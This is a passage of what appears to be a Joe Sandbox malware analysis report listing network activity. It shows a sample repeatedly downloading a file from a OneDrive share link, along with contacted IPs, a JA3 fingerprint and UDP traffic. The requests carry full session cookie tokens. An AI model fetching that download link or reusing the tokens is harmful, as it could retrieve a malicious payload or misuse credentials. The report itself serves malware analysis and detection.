Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTc5LCJuYmYiOjE3MjAxMTcxNzksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiQ2hlZXRhaCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6Ijg0Y2QxOWJlYmM4OTc2NzhlZWIyYmU5YmQzNjZhNGQ1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNzl9.CnjQ6_QmFGVaZl6VesRdovzVsYrXTQMO0pCmLZ4P2075EWEKitG3nW7w9STsl9zOw3H7gE2wy7XQzvp9b-iUjSKH1HXVtTOfAJDgHt4J_geeHyh9p-KulZu-rffLMvxumqE6BqgcfVUpoHDt2la1WA3YWDaeWOJMq3BG-qMPAn6YaHyKS8conbxP8_VGMvw2dejAbikXIxYNvpalhTbYtiiVslmoLJqdlrCoCl16eCUYPV8NHjZZhmG-71KeKymA5Oknlr5oM6Z1-BbDU0PR7efYicsGzbO52dx0WegMeuGFzjMZvudyYkCzw5ulUEhX88qdvYjLhVBtWkpvusG-0w; E=P:l34Z3lWc3Ig=:90pK4g8ni5aCxyhX4tlLDWaHPMvnEGfeQmK2YJRwYCI=:F; xid=f9d5bdb5-c968-47ad-9177-faf679472ba8&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTgyLCJuYmYiOjE3MjAxMTcxODIsImdpdmVuX25hbWUiOiI1NiIsImZhbWlseV9uYW1lIjoiQ3JvY29kaWxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmYyMjY5MDBhZjE2ZDZjYzQ1ZTU2ZTU5ZDdiOWNiMTIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE4Mn0.IjdPaD7rvDjRp6MoXD-tWE9xQfnJZwCA_NUCgV-GZB6vuVlwBEIWQgm7kxKEbdeuzcoAZqjTQc78l0s7w9sJbJoLTFCM_3a_ksSFDQ1wnelc20w1df7guG_rnmerDe7eF9lTytuq0Z3qRcB5Fh3u15SDXWQq4EelncOFYZRbYDjxjrWwiflW57S1PsbhkCHuMJ-oA6lt2M1xd7WBLEUSmXH5V0bWFDtRRIeBHRuChnU_05jwD2hW712GeTCa3houjCTmLD3Y8AQt1pN9giZ-zaWfke5dsyxNgJxoSaiK4-n0wrTcAm8hOKbHKQLEb2RgJ5q3ipuptR1p_O08ld3qVw; E=P:eRcc4FWc3Ig=:7f80qaZglAPSB2PPJrUli88jI+/0cFBX9SuF1ySYCbU=:F; xid=5858293b-5699-4f50-a70e-3313a1501250&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTg1LCJuYmYiOjE3MjAxMTcxODUsImdpdmVuX25hbWUiOiIwIiwiZmFtaWx5X25hbWUiOiJIdW1taW5nYmlyZCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQyYzM2NzBmNzkxMmQwMWJhOGQ3OWRkYzQwOTAyMDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxODV9.gSbLORD7kgVqhYWC1DmYL4d50J8GfRXD094jyB-DOILJulnbMsSjykgA2m10lSssNQlzcPZokMv_QIO8PTTLbYUJiy_82O28raq9ZVN2zHSuxp7yOhxRgejsXbz6wm7rGAKegR-shdphUDB3-5ROXBjyccUocQNn7K_xY97gnzky_f4m5V7fxu6HwJD9WlJiG6OEmxVljxg-O7-URZE3pLg-3jLHLDwZKgJw8vOlq4cjY9iaThXMSpUMhhDxJ7EMbPAppi4-ENLbYYa2EJ388pIH_I2tQrauQTO5nVMziWDiKWG5T7K91PtzJvGxpmopQ6XdLpKb5Ru2j2JLOCSPwQ; E=P:/Avy4VWc3Ig=:CCfM7ZoMmaGqW+wBnbW0iAuRGkyt6wrWkZWEwu1xPrU=:F; xid=88267190-9976-4486-bc2f-15066bf3f24a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTkyLCJuYmYiOjE3MjAxMTcxOTIsImdpdmVuX25hbWUiOiIzMiIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZWIyNDgyOTU2NGViOWE1OTE4MTAzMDQwOTY3MDJmZDgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE5Mn0.ijXxu_2G5D6YQmNcR9RnWI3Oxmg3xbHeDGEXxykEGDrT-D7tc9c8fI5K2qasZjHY30CcLL5GISJgLu1v0CE6aGm63seGcAs83oGlXbH6rYp4V4V0JYInRICcpOj7DWhdwUr8kH6JkPpOTpoVWlVAGW9bJ7rhgYx8nNSWKwoOnzFS3qLFFHlknX7jElE4kDdTb8hzdpC7N7PDGwKqzj5mFNqFlFgKz9TVLzv0JWLj17Sji5-AXQ3ZkM5vfRuK0Cf709hPXpDXJvui4KYxsAXVVoHRK_n_1MX7ZiVfvPU85u-SQGIesmjrTKojEUDE_Q98PHPO5qyZd4Q7lMgm_kIumQ; E=P:5IHT5VWc3Ig=:WLN33BusW6eRWVVYX+9YDKkG+0gGxxuvl6Qpw42Ony0=:F; xid=d14362ac-975c-42c4-96a7-355ff0a4fd27&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms

Source: Joe Sandbox View	IP Address: 13.107.139.11 13.107.139.11
Source: Joe Sandbox View	IP Address: 13.107.42.12 13.107.42.12
Source: Joe Sandbox View	IP Address: 13.107.137.11 13.107.137.11

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.msConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzUzLCJuYmYiOjE3MjAxMTY5NTMsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDVjMDc5ZjllMDkyOGRkYTZiM2I5MjBkN2M1ODRkZjIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1M30.flPETEmDTMFOBZ-HwXLLoViZstjkXIgT8GEFnBeLQ2Sj0RbZmz1e8aCuX5ExcS-sN7VS8PG4YTHmBgi05ZVLxEgs1hZPUTbNjM3Wi5SIFBDpBu_Nu80V_ZqNguxos2d5FLaXY9GtIIxRsdJkL6Lz3-Oj6njfMempHRQw4FcXMcxkxhQ72GtZM1djnM0tuABQ_XRJP5nxfL0IoPmVvFdf7EUZ3I8FjMlXkyMjoNk-rdCW7Gh4oOVAemvT0n3sRlEbD7CGbfSk4zgUhSHXPsbzRLg04zq0pNQNBJ1n4lnTqPDdaTBJP1MtKwx94P00pSa3gr1MUHJY2Mn-NeNjRK_ACA; E=P:Dv5KV1Wc3Ig=:qtQX13l08k+/qyuvXe/5UV57UXVkbSL0+O7dwZI2U1k=:F; xid=94186ad3-1f95-4ed8-9185-377c53854fa7&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU2LCJuYmYiOjE3MjAxMTY5NTYsImdpdmVuX25hbWUiOiIzIiwiZmFtaWx5X25hbWUiOiJTd2FsbG93IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTU3MzlhNTYzNjY5M2UyZGRmYjU0YTczZTljYWUxMGIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1Nn0.h8JQ9E3hhBfmEa8M5xdmPLpVIElHWw87Ptc_KOYtmAiuoSg6CdzTz2dRwWC0NJ0NOzE7Zy0dJQ0j2DFXpbbT3N3dCUiNJW238vDQWlkE0HHPgTOKjw7Qy1fokcG2HCPi7Rp2ISM1f-2mRFoMKmLssbtRfSAsr7-fsQ4nbFawOvbbPlQWnReCarAitzgyMneUR84fEWIBS9wBYULoRzrUZwIa52kcx4u41VIbO4dzecfAyIqgVpsHPOsNyzloCITS70hkCy4eammaWaojR09LkbpK8thvJ2mlvuVa2coaayIyaXy_FKC_prOg8KQINrVA1tNte63PIxfkS_tFWyWXIA; E=P:e/FvWVWc3Ig=:jDioFgOtAmzOjDld4tQMxm1UGM9xsJHqO5XbXD6Hqb8=:F; xid=461c9129-fdee-4045-ac15-fc97fc3534a1&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU5LCJuYmYiOjE3MjAxMTY5NTksImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiT3R0ZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNzJhMDRlZjAxMDViYzNkMjQwY2UwNmZhZGU3NTBkYyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTU5fQ.nA1QAGa69qC38wrOZMHHPS3wS4ccz96bMmJw5KFOs-oW3h8DTFD64yVupdER39l0eMoX2DuouRYhyWzm_O8QYbmgvPWiajM340HdRDTVIky51YrzzkNCUrSqm_2LQQkaBEHnN9x3xhhS81qV9Ml4HVB8ZOFtjmS7Cv6CCqpAWSXWt8pk401L2OiS2a8Meu4VXBPUXtNHAalre2jsQTDBrVc8HH1cycMZBPCOSDudVU31bKzfInLN3hBTGIJXOA85w8zvPDgEP9j4m_FDSD5uJJQm2q-AMScwAelf9VPCz2QmMt_xp7_6j_J1pMwqtIIBP98712iTVN1-lsvNMdFu3A; E=P:sA1lW1Wc3Ig=:xPJZzwOpXF72/2UlXWjgL56YEK+W3ZKRAr3xD2UU13A=:F; xid=a2106ac2-07c0-4f24-982a-17482d366ea0&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzYzLCJuYmYiOjE3MjAxMTY5NjMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE5YjYyYmVhYTFjNjk1MDMwMWIwNTBiNWY5Y2Q3ODUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NjN9.cSKM2sk_ySi5oUMrrt7_qlHk0bC8s--k34zkBvi3Hsstx0FGPBGRhHvdrQ0r2hkiCp4OnvtDpQSWjuzzLmrGPJXQPcS4YCoNrjTo30NkfqOYX2FzDMasbFbQ66pzSMpG4KRiTzWtT6kPpqU-_Rp3i_C1ATG7Fc13Pl5dyiQ0qnY812PZvaR8ZULLNI2XRROMIhHaTakNomfhyg6vB2gx7Jzh4tSB6VxiW4iD9EJrTHQF0wFDZi3WiDB2yt-0ZjUrdKiNV5DO-36mKo5_6Ku1MKYkhl_xcvw_dIekv_cUr7r2DChsooJstfC9zs3CTICx6rO4-fHagd9hf5ZX3IGhjg; E=P:LZ+bXVWc3Ig=:jBux53n1kaBdKajRcaxJaJ0gSl5y4H7tXd9NBs5fiL4=:F; xid=f16e7852-9340-4a79-b990-bb6959d55240&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzY3LCJuYmYiOjE3MjAxMTY5NjcsImdpdmVuX25hbWUiOiI1NyIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDFmOWMwYmNjNTMwMWMwOTMzOWIwNjMxNjViZjE1ZjciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk2N30.ZXp2Add50K91dgfFm1wuVrrYiVfA3FQ8tGuhI_5CAgvDHT5DPnH0aTaLV1QHqx8mSO0m3G9uGek9yyWJFmnuu_7KpiXvTfo_7xYNCLByf8Eya6PjjOiXfcDh9UnB7wIAg-q8WDnCfZM2Qnu32zFb2FH_mbFkMJoGvMc2M85xoeSkLnbbwsxyF9nArw2-Y0bqRWV37B3_FeFLvuYisqOf9Izr8mADGhiAEfZ3LQnoS2SPszpUGU6aO5k4saUbibIRH0Q6FdxaCrLx2msiKFTEa2FkLgLF0_rfhZyIph5q8DzFewLwU0kAAoGgOpmhEAlrHOJtLLP2qNrVtOAWEnR2nw; E=P:RXKyX1Wc3Ig=:Af1j99uh2sEAarhHibhNxKzbBNdTtHiz47VSn8LHHB0=:F; xid=d6d2751f-a76e-484e-9cf7-875231f10271&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
